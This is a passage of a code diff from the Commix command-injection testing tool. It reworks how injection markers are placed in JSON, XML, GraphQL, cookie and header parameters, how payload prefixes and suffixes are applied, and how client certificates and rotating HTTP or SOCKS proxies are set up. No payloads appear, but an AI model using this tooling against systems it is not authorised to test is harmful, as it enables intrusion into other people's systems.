":" + value + if settings.IS_JSON and anchor in parameter: + # A tag appended after the closing quote leaves the value untouched and the body + # invalid, so a quoted value takes the tag inside its own quotes. + if len(value) > 1 and value.startswith("\"") and value.endswith("\""): + parameter = parameter.replace(anchor, anchor[:-1] + settings.INJECT_TAG + "\"", 1) + else: + parameter = parameter.replace(anchor, anchor + settings.INJECT_TAG, 1) + else: + parameter = parameter.replace(value, value + settings.INJECT_TAG) + if settings.IS_JSON: + parameter = json_int_check(parameter, value) + parameter = parameter.replace(settings.RANDOM_TAG, "").replace(settings.ASTERISK_MARKER,"") + return parameter else: - # Check if multiple parameters are supplied without the "INJECT_HERE" tag. - if settings.IS_XML: - all_params = multi_parameters - else: - all_params = settings.PARAMETER_DELIMITER.join(multi_parameters) - # Check for similarity in provided parameter name and value. - all_params = all_params.split(settings.PARAMETER_DELIMITER) - all_params = checks.check_similarities(all_params) - # Check if not defined the "INJECT_HERE" tag in parameter - if settings.INJECT_TAG not in parameter: - if checks.is_empty(multi_parameters, http_request_method): - return parameter - for param in range(0, len(all_params)): - if param == 0 : - if settings.IS_JSON: - old = re.findall(r'\:(.*)', all_params[param]) - old = re.sub(settings.IGNORE_SPECIAL_CHAR_REGEX, '', ''.join(old)) - elif settings.IS_XML: - old = re.findall(r'>(.*)</', all_params[param]) - old = ''.join(old) - else: - old = re.findall(r'=(.*)', all_params[param]) - old = ''.join(old) - else : - old = value + for param in range(0, len(multi_parameters)): + # Grab the value of parameter. + value = multi_params_get_value(param, multi_parameters) + parameter = settings.POST_DATA_PARAM_DELIMITER.join(multi_parameters) + parameter = parameter.replace(settings.RANDOM_TAG, "") + if settings.IS_JSON and settings.INJECT_TAG in value: + parameter = json_int_check(parameter, value) + break + return parameter + +""" +Handle a POST body that split into more than one parameter fragment. +""" +def handle_multiple_post_parameters(parameter, multi_parameters, http_request_method): + parameters_list = [] + # Multiple parameters without the INJECT_HERE tag. + if settings.IS_XML: + all_params = multi_parameters + else: + # Check for similarity in provided parameter name and value. + all_params = list(multi_parameters) + all_params = checks.check_similarities(all_params) + original_json_text = settings.POST_DATA_PARAM_DELIMITER.join(all_params) if settings.IS_JSON else None + # Check if not defined the "INJECT_HERE" tag in parameter + if settings.INJECT_TAG not in parameter: + if checks.is_empty(multi_parameters, http_request_method): + return parameter + for param in range(0, len(all_params)): + original_fragment = all_params[param] + # Grab the value of parameter. + value = multi_params_get_value(param, all_params) + # Ignoring the anti-CSRF parameter(s). + if checks.ignore_anticsrf_parameter(all_params[param]) or checks.ignore_stateful_parameter(all_params[param]) or checks.ignore_randomized_parameter(all_params[param]): + if param > 0: + all_params[param - 1] = ''.join(all_params[param - 1]).replace(settings.INJECT_TAG, "") + continue + # An empty value is backfilled with RANDOM_TAG upstream, so measure it with that stripped. + if len(str(value).replace(settings.RANDOM_TAG, "")) == 0: + if menu.options.skip_empty: + # Mirror the anti-CSRF skip above: drop the previous tag and add no candidate of its own. + if param > 0: + all_params[param - 1] = ''.join(all_params[param - 1]).replace(settings.INJECT_TAG, "") + continue if settings.IS_JSON: - value = re.findall(r'\:(.*)', all_params[param]) - if re.findall(r'\\"(.*)\\"', value[0]): - value = re.findall(r'\\"(.*)\\"', value[0]) - value = re.sub(settings.IGNORE_SPECIAL_CHAR_REGEX, '', ''.join(value)) + all_params[param] = tag_empty_json_value(''.join(all_params[param])) elif settings.IS_XML: - value = re.findall(r'>(.*)</', all_params[param]) - value = ''.join(value) - else: - value = re.findall(r'=(.*)', all_params[param]) - value = ''.join(value) - # Ignoring the anti-CSRF parameter(s). - if checks.ignore_anticsrf_parameter(all_params[param]): - continue - if re.search(settings.VALUE_BOUNDARIES, value): - value = checks.value_boundaries(value) - # Replace the value of parameter with INJECT_HERE tag - if len(value) == 0: - if not menu.options.skip_empty: - if settings.IS_JSON: - all_params[param] = all_params[param].replace(":\"\"", ":\"" + settings.INJECT_TAG + "\"").replace(":\\\"\\\"", ":\\\"" + settings.INJECT_TAG + "\\\"") - elif settings.IS_XML: - all_params[param] = all_params[param].replace("></", ">" + settings.INJECT_TAG + "</") - else: - all_params[param] = all_params[param] + settings.INJECT_TAG + all_params[param] = ''.join(all_params[param]).replace("></", ">" + settings.INJECT_TAG + "</") else: - all_params[param] = all_params[param].replace(value, value + settings.INJECT_TAG) - all_params[param - 1] = all_params[param - 1].replace(value, "").replace(settings.INJECT_TAG, "") - parameter = settings.PARAMETER_DELIMITER.join(all_params) - parameter = parameter.replace(settings.RANDOM_TAG,"") - if type(parameter) != list: - parameters_list.append(parameter) - parameter = parameters_list + all_params[param] = ''.join(all_params[param] + settings.INJECT_TAG) + else: + all_params[param] = apply_tag_to_value(''.join(all_params[param]), value) + if settings.IS_JSON and len(all_params[param].split("\":")) == 2: + check_parameter = all_params[param].split("\":")[0] + if settings.INJECT_TAG in check_parameter: + all_params[param] = all_params[param].replace(check_parameter, check_parameter.replace(settings.INJECT_TAG, "")) + + if param > 0: + all_params[param - 1] = ''.join(all_params[param - 1]).replace(settings.INJECT_TAG, "") + parameter = settings.POST_DATA_PARAM_DELIMITER.join(all_params) + parameter = parameter.replace(settings.RANDOM_TAG, "").replace(settings.ASTERISK_MARKER,"") + if settings.IS_JSON: + if (len(all_params)) == 1 and settings.INJECT_TAG not in all_params[param]: + parameter = parameter.replace(value, value + settings.INJECT_TAG) + parameter = json_int_check(parameter, value) + # Skip candidates where no tag actually got placed (e.g. an XML + # wrapper line, or a JSON fragment whose value is itself nested). + if type(parameter) != list and settings.INJECT_TAG in parameter: + parameters_list.append(parameter) + elif settings.IS_JSON and original_json_text: + parameters_list.extend(json_nested_leaf_candidates(original_fragment, original_json_text)) + parameter = parameters_list + else: + for param in range(0, len(multi_parameters)): + # Grab the value of parameter. + value = multi_params_get_value(param, multi_parameters) + parameter = settings.POST_DATA_PARAM_DELIMITER.join(multi_parameters) + parameter = parameter.replace(settings.RANDOM_TAG, "") + if settings.IS_JSON and settings.INJECT_TAG in multi_parameters[param]: + parameter = json_int_check(parameter, value) + break + return parameter - else: - for param in range(0, len(multi_parameters)): - # Grab the value of parameter. - if settings.IS_JSON: - value = re.findall(r'\"(.*)\"', multi_parameters[param]) - value = ''.join(value) - if settings.IS_XML: - value = re.findall(r'>(.*)</', all_params[param]) - value = ''.join(value) - else: - value = re.findall(r'=(.*)', multi_parameters[param]) - value = ''.join(value) - parameter = settings.PARAMETER_DELIMITER.join(multi_parameters) +""" +Check if the 'INJECT_HERE' tag, is specified on POST Requests. +""" +def do_POST_check(parameter, http_request_method): + parameter = configure_post_data_format(parameter, http_request_method) + if parameter is None: + return "" - return parameter + multi_parameters, parameter = split_post_parameters(parameter) + + single = [] + single.append(parameter) + parameter = ''.join(checks.check_similarities(single)) + # Check if single parameter is supplied. + if len(multi_parameters) == 1: + return handle_single_post_parameter(parameter, multi_parameters, http_request_method) + else: + return handle_multiple_post_parameters(parameter, multi_parameters, http_request_method) """ Define the vulnerable POST parameter. """ def vuln_POST_param(parameter, url): + if isinstance(parameter, list): + parameter = " ".join(parameter) + vuln_parameter = None - # JSON data format + # JSON data format. if settings.IS_JSON: - param = re.sub(settings.IGNORE_SPECIAL_CHAR_REGEX, '', parameter.split(settings.INJECT_TAG)[0]) - if param: - if "(" in param: - param = param.split("(")[1] - vuln_parameter = param.split(",")[-1:] - if ":" in vuln_parameter[0]: - vuln_parameter = vuln_parameter[0].split(":")[0] - vuln_parameter = ''.join(vuln_parameter) - - # XML data format + try: + flat = flatten(json.loads(parameter, object_pairs_hook=OrderedDict)) + except Exception: + # Return unchanged if the value is not valid JSON. + return parameter + vuln_key = None + for key in flat: + if settings.INJECT_TAG in str(flat[key]): + vuln_key = key + break + if vuln_key is None: + return parameter + # Convert key to dot notation. + key_parts = vuln_key.split(settings.FLATTEN_JSON_SEPARATOR) + vuln_parameter = key_parts[0] + for key_part in key_parts[1:]: + vuln_parameter += "[" + key_part + "]" if key_part.isdigit() else "." + key_part + settings.TESTABLE_VALUE = str(flat[vuln_key]).split(settings.INJECT_TAG)[0] + if settings.CUSTOM_INJECTION_MARKER: + settings.CUSTOM_INJECTION_MARKER_PARAMETERS_LIST.append(vuln_parameter) if vuln_parameter not in settings.CUSTOM_INJECTION_MARKER_PARAMETERS_LIST else settings.CUSTOM_INJECTION_MARKER_PARAMETERS_LIST + settings.TESTABLE_PARAMETERS_LIST.append(vuln_parameter) if vuln_parameter not in settings.TESTABLE_PARAMETERS_LIST else settings.TESTABLE_PARAMETERS_LIST + + # GraphQL data format. + elif settings.IS_GRAPHQL: + for name, value in re.findall(settings.GRAPHQL_ARGUMENT_REGEX, parameter): + if settings.INJECT_TAG in value: + vuln_parameter = name + settings.TESTABLE_VALUE = value.split(settings.INJECT_TAG)[0] + break + if vuln_parameter is None: + return parameter + + # XML data format. elif settings.IS_XML: - if re.findall(r"" + settings.INJECT_TAG + "([^>]+)", parameter): - vuln_parameter = re.findall(r"" + settings.INJECT_TAG + "([^>]+)", parameter) - vuln_parameter = re.findall(r"" + "([^</]+)", vuln_parameter[0]) - vuln_parameter = ''.join(vuln_parameter) - + # Shield leaf elements before splitting into lines below. + shielded_parameter, _shielded = shield_xml_leaves(parameter) + # Split on element boundaries, but not inside "...]]></tag>". + parameters = list(re.sub(r"(?<!\])></", ">" + settings.END_LINE.LF + "</", shielded_parameter).split(settings.END_LINE.LF)) + parameters = restore_xml_shields(parameters, _shielded) + for item in parameters: + if settings.INJECT_TAG in item: + if not settings.CUSTOM_INJECTION_MARKER and settings.CUSTOM_INJECTION_MARKER_CHAR in item: + item = item.replace(settings.CUSTOM_INJECTION_MARKER_CHAR,"") + # Match tag name (tolerating attributes) against its closing tag. + element = re.search(r'<([^\s>/]+)[^>]*>(.*)</([^\s>]+)>', item, re.S) + if element and (element.groups()[0]) == (element.groups()[2]): + vuln_parameter = ''.join(element.groups()[0]) + result = unwrap_cdata(element.groups()[1]) + if settings.CUSTOM_INJECTION_MARKER: + register_custom_injection_marker(vuln_parameter, result) + settings.TESTABLE_VALUE = result.split(settings.INJECT_TAG)[0] + # Regular POST data format. else: - if re.search(r"" + settings.PARAMETER_DELIMITER + "(.*)=[\S*(\\/)]*" + settings.INJECT_TAG, parameter) or \ - re.search(r"(.*)=[\S*(\\/)]*" + settings.INJECT_TAG , parameter): - pairs = parameter.split(settings.PARAMETER_DELIMITER) - for param in range(0,len(pairs)): - if settings.INJECT_TAG in pairs[param]: - vuln_parameter = pairs[param].split("=")[0] - break - - if 'vuln_parameter' not in locals(): + # Allow a value with a space, and escape the delimiter (--pdel). + if re.search(re.escape(settings.POST_DATA_PARAM_DELIMITER) + r"(.*)=.*" + settings.INJECT_TAG, parameter) or \ + re.search(r"(.*)=.*" + settings.INJECT_TAG , parameter): + vuln_parameter = extract_vuln_param_from_pairs(parameter, settings.POST_DATA_PARAM_DELIMITER, check_base64_padding=True) + + if vuln_parameter is None: return parameter return vuln_parameter @@ -377,100 +777,171 @@ def vuln_POST_param(parameter, url): Define the injection prefixes. """ def prefixes(payload, prefix): - # Check if defined "--prefix" option. - if menu.options.prefix: - payload = menu.options.prefix + prefix + payload - else: - payload = prefix + payload - - return payload + parameter = "" + if settings.COOKIE_INJECTION: + if not settings.LOAD_SESSION: + parameter = menu.options.cookie + specify_cookie_parameter(parameter) + # One place is being tested at a time, and each of these settles the same values for the prefix + # below - so a second branch running would settle them again over the first one's answer. + elif settings.CUSTOM_HEADER_INJECTION: + if not settings.LOAD_SESSION: + parameter = settings.CUSTOM_HEADER_VALUE + specify_custom_header_parameter(parameter) + elif settings.USER_AGENT_INJECTION: + if not settings.LOAD_SESSION: + parameter = menu.options.agent + specify_user_agent_parameter(parameter) + elif settings.REFERER_INJECTION: + if not settings.LOAD_SESSION: + parameter = menu.options.referer + specify_referer_parameter(parameter) + elif settings.HOST_INJECTION: + if not settings.LOAD_SESSION: + parameter = menu.options.host + specify_host_parameter(parameter) + + # Skipped where the user named a prefix of their own - that is the one place meant to override + # what the parameter's own required value would otherwise glue on, not stack in front of it, and + # a filter anchored on the shape of the value as a whole has no other way to be satisfied. + pre_custom = resolve_marker_component(settings.TESTABLE_VALUE, settings.PRE_CUSTOM_INJECTION_MARKER_CHAR) + # The value the parameter arrived with is glued on here, in front of the boundary's own prefix, so + # that the payload reaches the sink behind it. Standing in its place instead is simply that glue + # left off: the carrier itself already drops the value it is replacing, which is what makes the + # payload the whole of what the parameter now carries. + if settings.REPLACE_VALUE: + pre_custom = "" + if pre_custom is not None and pre_custom not in prefix and not menu.options.prefix: + prefix = pre_custom + prefix + """ + Named with '--prefix', which stands in place of the boundary's own rather than beside it. + + Appended instead, the prefix the user asked for arrives behind whatever each boundary already + carried - ';' and '&' and a quote in turn - so the sweep sends combinations nobody asked for and + never once sends the one that was. Naming it settles the question the sweep exists to ask, the + same way naming a technique settles which techniques run. + """ + if menu.options.prefix is not None and not settings.LOAD_SESSION: + prefix = menu.options.prefix + + payload = prefix + payload + # Fixation for specific payload. + if ")%3B" + ")}" in payload: + payload = payload.replace(")%3B" + ")}", ")" + ")}") + + return payload, prefix """ Define the injection suffixes. """ def suffixes(payload, suffix): - # Check if defined "--suffix" option. - if menu.options.suffix: - payload = payload + suffix + menu.options.suffix - else: - payload = payload + suffix - return payload + if settings.COOKIE_INJECTION and suffix == settings.COOKIE_PARAM_DELIMITER: + suffix = "" + + post_custom = resolve_marker_component("", settings.POST_CUSTOM_INJECTION_MARKER_CHAR) + if post_custom: + if post_custom not in suffix: + suffix = suffix + post_custom + # Named with '--suffix', standing in place of the boundary's own, the way a prefix does above. + if menu.options.suffix is not None and not settings.LOAD_SESSION: + suffix = menu.options.suffix + + payload = payload + suffix + + return payload, suffix """ The cookie based injection. """ def do_cookie_check(cookie): - multi_parameters = cookie.split(settings.COOKIE_DELIMITER) - # Check for inappropriate format in provided parameter(s). - if len([s for s in multi_parameters if "=" in s]) != (len(multi_parameters)): - checks.inappropriate_format(multi_parameters) + multi_params_get_value = get_kv_value + + # Replace with INJECT_HERE, honoring the custom marker character. + cookie = checks.process_custom_injection_data(cookie) + try: + # Strip only the leading space left by the "; " convention. + multi_parameters = [param.lstrip(settings.SINGLE_WHITESPACE) for param in cookie.split(settings.COOKIE_PARAM_DELIMITER)] + except ValueError as err_msg: + settings.print_data_to_stdout(settings.print_critical_msg(err_msg)) + raise SystemExit(settings.EXIT_FAILURE) + + if len([s for s in multi_parameters if "=" in s]) == 0 and not menu.options.shellshock: + checks.no_parameters_found() + + single = [] + single.append(cookie) + cookie = ''.join(checks.check_similarities(single)) # Grab the value of parameter. - value = re.findall(r'=(.*)', cookie) - value = ''.join(value) + value = multi_params_get_value(cookie) # Replace the value of parameter with INJECT tag # Check if single paramerter is supplied. if len(multi_parameters) == 1: # Ignoring the anti-CSRF parameter(s). - if checks.ignore_anticsrf_parameter(cookie): + if checks.ignore_anticsrf_parameter(cookie) or checks.ignore_stateful_parameter(cookie) or checks.ignore_randomized_parameter(cookie): return cookie # Ignoring the Google analytics cookie parameter. - if checks.ignore_google_analytics_cookie(cookie): + if cookies.ignore_google_analytics_cookie(cookie): return cookie # Check for empty values (in provided parameters). - if checks.is_empty(multi_parameters, http_request_method = "cookie"): + if checks.is_empty(multi_parameters, http_request_method=settings.COOKIE): return cookie # Check if defined the INJECT_TAG if settings.INJECT_TAG not in cookie: if len(value) == 0: cookie = cookie + settings.INJECT_TAG else: - cookie = cookie.replace(value, value + settings.INJECT_TAG) + cookie = apply_tag_to_value(cookie, value) + + cookie = cookie.replace(settings.RANDOM_TAG, "").replace(settings.ASTERISK_MARKER,"") return cookie # Check if multiple parameters are supplied. else: cookies_list = [] - all_params = settings.COOKIE_DELIMITER.join(multi_parameters) - all_params = all_params.split(settings.COOKIE_DELIMITER) + all_params = list(multi_parameters) + all_params = checks.check_similarities(all_params) # Check if not defined the "INJECT_HERE" tag in parameter if settings.INJECT_TAG not in cookie: # Check for empty values (in provided parameters). - if checks.is_empty(multi_parameters, http_request_method = "cookie"): + if checks.is_empty(multi_parameters, http_request_method=settings.COOKIE): return cookie for param in range(0, len(all_params)): - if param == 0 : - old = re.findall(r'=(.*)', all_params[param]) - old = ''.join(old) - else : - old = value # Grab the value of cookie. - value = re.findall(r'=(.*)', all_params[param]) - value = ''.join(value) - # Ignoring the anti-CSRF parameter(s).. - if checks.ignore_anticsrf_parameter(all_params[param]): + value = multi_params_get_value(all_params[param]) + # Ignoring the anti-CSRF parameter(s). + if checks.ignore_anticsrf_parameter(all_params[param]) or checks.ignore_stateful_parameter(all_params[param]) or checks.ignore_randomized_parameter(all_params[param]): + if param > 0: + all_params[param - 1] = ''.join(all_params[param - 1]).replace(settings.INJECT_TAG, "") continue # Ignoring the Google analytics cookie parameter. - if checks.ignore_google_analytics_cookie(all_params[param]): + if cookies.ignore_google_analytics_cookie(all_params[param]): + # The one before it still carries the tag this pass would have replaced. Skipped without + # taking it back, two cookies arrive tagged, the payload is written into both, and the + # finding is reported against whichever comes first rather than the one that answered. + if param > 0: + all_params[param - 1] = ''.join(all_params[param - 1]).replace(settings.INJECT_TAG, "") continue - # Replace the value of parameter with INJECT tag - if len(value) == 0: - if not menu.options.skip_empty: - all_params[param] = all_params[param] + settings.INJECT_TAG + # An empty value is backfilled with RANDOM_TAG upstream, so measure it with that stripped. + if len(value.replace(settings.RANDOM_TAG, "")) == 0: + if menu.options.skip_empty: + # Mirror the skips above: drop the previous tag and add no untagged candidate. + if param > 0: + all_params[param - 1] = ''.join(all_params[param - 1]).replace(settings.INJECT_TAG, "") + continue + all_params[param] = ''.join(all_params[param] + settings.INJECT_TAG) else: - all_params[param] = all_params[param].replace(value, value + settings.INJECT_TAG) - all_params[param - 1] = all_params[param - 1].replace(value, "").replace(settings.INJECT_TAG, "") - cookie = settings.COOKIE_DELIMITER.join(all_params) + all_params[param] = apply_tag_to_value(''.join(all_params[param]), value) + if param > 0: + all_params[param - 1] = ''.join(all_params[param - 1]).replace(settings.INJECT_TAG, "") + cookie = settings.COOKIE_PARAM_DELIMITER.join(all_params) + cookie = cookie.replace(settings.RANDOM_TAG, "").replace(settings.ASTERISK_MARKER,"") if type(cookie) != list: cookies_list.append(cookie) cookie = cookies_list - else: - for param in range(0, len(multi_parameters)): - # Grab the value of parameter. - value = re.findall(r'=(.*)', multi_parameters[param]) - value = ''.join(value) - cookie = settings.COOKIE_DELIMITER.join(multi_parameters) + cookie = settings.COOKIE_PARAM_DELIMITER.join(multi_parameters) + cookie = cookie.replace(settings.RANDOM_TAG, "") return cookie @@ -478,56 +949,65 @@ def do_cookie_check(cookie): Specify the cookie parameter(s). """ def specify_cookie_parameter(cookie): - - cookie = checks.wildcard_character(cookie) # Specify the vulnerable cookie parameter - if re.search(r"" + settings.COOKIE_DELIMITER + "(.*)=[\S*(\\/)]*" + settings.INJECT_TAG, cookie) or \ - re.search(r"(.*)=[\S*(\\/)]*" + settings.INJECT_TAG , cookie): - pairs = cookie.split(settings.COOKIE_DELIMITER) - for param in range(0,len(pairs)): - if settings.INJECT_TAG in pairs[param]: - inject_cookie = pairs[param].split("=")[0] - break - + vuln_parameter = None + # Allow a value with a space, and escape the delimiter (--cdel). + if re.search(re.escape(settings.COOKIE_PARAM_DELIMITER) + r"(.*)=.*" + settings.INJECT_TAG, cookie) or \ + re.search(r"(.*)=.*" + settings.INJECT_TAG , cookie): + vuln_parameter = extract_vuln_param_from_pairs(cookie, settings.COOKIE_PARAM_DELIMITER, strip_leading_space=True) else: - inject_cookie = cookie + vuln_parameter = cookie + + if vuln_parameter is None: + return cookie + + return vuln_parameter + +""" +Process a given HTTP header value for custom injection. +""" +def specify_header_injection_parameter(header_value, header_name): + try: + settings.TESTABLE_VALUE = checks.process_custom_injection_data(header_value).replace(settings.ASTERISK_MARKER, settings.INJECT_TAG) + + if settings.CUSTOM_INJECTION_MARKER and settings.INJECT_TAG in settings.TESTABLE_VALUE: + if header_name not in settings.CUSTOM_INJECTION_MARKER_PARAMETERS_LIST: + settings.CUSTOM_INJECTION_MARKER_PARAMETERS_LIST.append(header_name) + + if header_value not in settings.TESTABLE_PARAMETERS_LIST: + settings.TESTABLE_PARAMETERS_LIST.append(header_value) - return inject_cookie + split_value = settings.TESTABLE_VALUE.split(settings.INJECT_TAG) + settings.PRE_CUSTOM_INJECTION_MARKER_CHAR = split_value[0] if len(split_value) > 0 else '' + settings.POST_CUSTOM_INJECTION_MARKER_CHAR = split_value[1] if len(split_value) > 1 else '' + + except (AttributeError, IndexError): + pass + + return header_value """ -The user-agent based injection. +Wrapper for processing User-Agent header injection. """ def specify_user_agent_parameter(user_agent): - # Specify the vulnerable user-agent HTTP header - # Nothing to specify here! :) + return specify_header_injection_parameter(user_agent, settings.USER_AGENT) - return user_agent - """ -The referer based injection. +Wrapper for processing Referer header injection. """ def specify_referer_parameter(referer): - # Specify the vulnerable referer HTTP header. - # Nothing to specify here! :) - - return referer + return specify_header_injection_parameter(referer, settings.REFERER) """ -The host based injection. +Wrapper for processing Host header injection. """ def specify_host_parameter(host): - # Specify the vulnerable host HTTP header. - # Nothing to specify here! :) - - return host + return specify_header_injection_parameter(host, settings.HOST) """ -The Custom http header based injection. +Wrapper for processing a custom-defined HTTP header injection. """ -def specify_custom_header_parameter(header_name): - # Specify the vulnerable HTTP header name. - # Nothing to specify here! :) - - return header_name +def specify_custom_header_parameter(custom_header_value): + return specify_header_injection_parameter(custom_header_value, settings.CUSTOM_HEADER_NAME) -# eof \ No newline at end of file +# eof diff --git a/src/core/requests/pki.py b/src/core/requests/pki.py new file mode 100644 index 0000000000..2e6ea05eab --- /dev/null +++ b/src/core/requests/pki.py @@ -0,0 +1,41 @@ +#!/usr/bin/env python +# encoding: UTF-8 + +""" +This file is part of Commix Project (https://commixproject.com). +Copyright (c) 2014-2026 Anastasios Stasinopoulos (@ancst). + +This program is free software: you can redistribute it and/or modify +it under the terms of the GNU General Public License as published by +the Free Software Foundation, either version 3 of the License, or +(at your option) any later version. + +For more see the file 'readme/COPYING' for copying permission. +""" + +from src.utils import settings +from src.core.parse import cmdline as menu + +""" +Present the certificate this run identifies itself with, on a context about to be used. + +Some targets do not ask for credentials at all: they ask the client to prove itself while the +connection is being made, and answer nothing to one that cannot. There is no header for that and no +challenge to answer, so it belongs to the context rather than to the request - and to every context +this run builds, because which client is asking is a fact about the run and not about one request. +""" +def apply_client_certificate(context): + if not getattr(menu.options, "auth_file", None): + return context + try: + # The file holds both halves, so it is handed over as both. + context.load_cert_chain(certfile=menu.options.auth_file, keyfile=menu.options.auth_file) + except Exception as err: + if not settings.PKI_FAILURE_SAID: + settings.PKI_FAILURE_SAID = True + err_msg = "Unable to use the certificate in '" + str(menu.options.auth_file) + "' (" + str(err) + ")." + settings.print_data_to_stdout(settings.print_critical_msg(err_msg)) + raise SystemExit(settings.EXIT_FAILURE) + return context + +# eof diff --git a/src/core/requests/proxy.py b/src/core/requests/proxy.py index b64edbf3f5..a52455a59b 100644 --- a/src/core/requests/proxy.py +++ b/src/core/requests/proxy.py @@ -3,66 +3,177 @@ """ This file is part of Commix Project (https://commixproject.com). -Copyright (c) 2014-2021 Anastasios Stasinopoulos (@ancst). +Copyright (c) 2014-2026 Anastasios Stasinopoulos (@ancst). This program is free software: you can redistribute it and/or modify it under the terms of the GNU General Public License as published by the Free Software Foundation, either version 3 of the License, or (at your option) any later version. - + For more see the file 'readme/COPYING' for copying permission. """ -import sys -from src.utils import menu +import os +import re +from base64 import b64encode +from src.core.parse import cmdline as menu from src.utils import settings -from src.core.requests import headers +from src.core.requests import requests +from src.core.requests import redirection from src.thirdparty.six.moves import urllib as _urllib -from src.thirdparty.colorama import Fore, Back, Style, init from src.thirdparty.six.moves import http_client as _http_client +from src.thirdparty.socks import socks """ - Check if HTTP Proxy is defined. +Read the proxies of '--proxy-file', one per line, in the order they were written. + +An entry carries what '--proxy' would: a scheme, credentials of its own, an address and a port - +so a SOCKS entry is not quietly read as HTTP, and a proxy that wants a password keeps it. """ -def do_check(url): - if settings.VERBOSITY_LEVEL != 0: - info_msg = "Setting the HTTP proxy for all HTTP requests. " - print(settings.print_info_msg(info_msg)) - if menu.options.data: - request = _urllib.request.Request(url, menu.options.data.encode(settings.UNICODE_ENCODING)) +def load_proxy_list(): + if not os.path.isfile(menu.options.proxy_file): + err_msg = "It seems the '" + menu.options.proxy_file + "' file does not exist." + settings.print_data_to_stdout(settings.print_critical_msg(err_msg)) + raise SystemExit(settings.EXIT_FAILURE) + with open(menu.options.proxy_file, encoding=settings.DEFAULT_CODEC, errors="replace") as file: + content = file.read() + for match in re.finditer(r"(?i)((http[^:\s]*|socks[^:\s]*)://)?(?:([^:@\s/]+:[^@\s/]*)@)?([\w\-.]+):(\d+)", content): + _, scheme, cred, address, port = match.groups() + settings.PROXY_LIST.append((scheme or "http", cred, address, port)) + if not settings.PROXY_LIST: + err_msg = "No proxy was found in the '" + menu.options.proxy_file + "' file." + settings.print_data_to_stdout(settings.print_critical_msg(err_msg)) + raise SystemExit(settings.EXIT_FAILURE) + info_msg = "Loaded " + str(len(settings.PROXY_LIST)) + " prox" + ("ies" if len(settings.PROXY_LIST) != 1 else "y") + info_msg += " from the '" + os.path.split(menu.options.proxy_file)[1] + "' file." + settings.print_data_to_stdout(settings.print_info_msg(info_msg)) + # Kept before the first entry is put in place, since that is what overwrites it. + settings.PROXY_LIST_CRED = menu.options.proxy_cred + apply_proxy_from_list() + +""" +Put the proxy the list is currently on in place, as though it had been given with '--proxy'. +""" +def apply_proxy_from_list(): + if not settings.PROXY_LIST: + return + scheme, cred, address, port = settings.PROXY_LIST[settings.PROXY_LIST_INDEX % len(settings.PROXY_LIST)] + settings.PROXY_SCHEME = scheme + menu.options.proxy = address + ":" + port + # Credentials written next to the proxy itself outrank '--proxy-cred', which speaks for the rest - + # and only for this entry, or the one that carried them would go on authenticating to every proxy + # after it, which is one host's password handed to another. + menu.options.proxy_cred = cred or settings.PROXY_LIST_CRED + configure() + +""" +Move on to the next proxy of the list, which is what '--proxy-freq' asks for every so many requests. +""" +def rotate_proxy(): + if len(settings.PROXY_LIST) < 2: + return + settings.PROXY_LIST_INDEX += 1 + apply_proxy_from_list() + warn_msg = "Changing the proxy to '" + settings.PROXY_SCHEME + "://" + menu.options.proxy + "'." + settings.print_data_to_stdout(settings.print_warning_msg(warn_msg)) + +""" +Whether the proxy in use speaks SOCKS, which is carried at the socket rather than by a handler. +""" +def is_socks(): + return (settings.PROXY_SCHEME or "").lower() in settings.SOCKS_SCHEMES + +""" +The credentials of '--proxy-cred', as the pair they are made of. +""" +def credentials(): + if not menu.options.proxy_cred: + return None, None + match = re.search(r"\A(.*?):(.*?)\Z", menu.options.proxy_cred) + if not match: + err_msg = "The option '--proxy-cred' must be in format 'username:password'." + settings.print_data_to_stdout(settings.print_critical_msg(err_msg)) + raise SystemExit(settings.EXIT_FAILURE) + return match.group(1), match.group(2) + +""" +Put the proxy the options describe in place: SOCKS is spoken by the socket every request is made +on, while an HTTP proxy is named on the request itself. +""" +def configure(): + scheme = (settings.PROXY_SCHEME or "http").lower() + if scheme not in settings.PROXY_SCHEMES: + err_msg = "Proxy value must be in format '(" + "|".join(settings.PROXY_SCHEMES) + ")://address:port'." + settings.print_data_to_stdout(settings.print_critical_msg(err_msg)) + raise SystemExit(settings.EXIT_FAILURE) + + if scheme in settings.SOCKS_SCHEMES: + username, password = credentials() + address, _, port = menu.options.proxy.rpartition(":") + # SOCKS4 has each name resolved by this host rather than at the other end, so the target's name + # is asked for in plain sight - said once, rather than on every request it holds for. + if scheme == "socks4" and not settings.SOCKS4_DNS_WARNING: + settings.SOCKS4_DNS_WARNING = True + warn_msg = "SOCKS4 does not support resolving (DNS) names, which leaks them to the local resolver." + settings.print_data_to_stdout(settings.print_warning_msg(warn_msg)) + socks.setdefaultproxy(socks.PROXY_TYPE_SOCKS5 if scheme == "socks5" else socks.PROXY_TYPE_SOCKS4, address, int(port), username=username, password=password) + socks.wrapmodule(_http_client) else: - request = _urllib.request.Request(url) - headers.do_check(request) - request.set_proxy(menu.options.proxy, settings.PROXY_SCHEME) - try: - response = _urllib.request.urlopen(request, timeout=settings.TIMEOUT) - return response - except (_urllib.error.URLError, _urllib.error.HTTPError, _http_client.BadStatusLine) as err: - err_msg = "Unable to connect to the target URL or proxy." - print(settings.print_critical_msg(err_msg)) - raise SystemExit() + try: + socks.unwrapmodule(_http_client) + except Exception: + pass + +""" +Name the proxy on one request, where it is an HTTP proxy - a SOCKS one is already carried beneath it. +""" +def apply_to_request(request): + if not menu.options.proxy or is_socks(): + return + request.set_proxy(menu.options.proxy, settings.SCHEME) + header = authorization_header() + if header: + request.add_unredirected_header("Proxy-Authorization", header) + +""" +The credentials a proxy asks for, as the header that carries them. +""" +def authorization_header(): + if not menu.options.proxy_cred: + return None + if ":" not in menu.options.proxy_cred: + err_msg = "The option '--proxy-cred' must be in format 'username:password'." + settings.print_data_to_stdout(settings.print_critical_msg(err_msg)) + raise SystemExit(settings.EXIT_FAILURE) + return "Basic " + b64encode(menu.options.proxy_cred.encode(settings.DEFAULT_CODEC)).decode().replace(settings.END_LINE.LF, "") """ Use the defined HTTP Proxy """ def use_proxy(request): - _ = True - headers.do_check(request) - request.set_proxy(menu.options.proxy, settings.PROXY_SCHEME) try: - response = _urllib.request.urlopen(request, timeout=settings.TIMEOUT) - return response - except _urllib.error.HTTPError as err: - if str(err.code) == settings.INTERNAL_SERVER_ERROR or str(err.code) == settings.BAD_REQUEST: - return False + if menu.options.ignore_proxy: + proxy = _urllib.request.ProxyHandler({}) + opener = _urllib.request.build_opener(proxy, redirection.RedirectHandler(), _urllib.request.HTTPSHandler(context=settings.unverified_context())) + _urllib.request.install_opener(opener) + elif menu.options.tor and menu.options.tor_type == 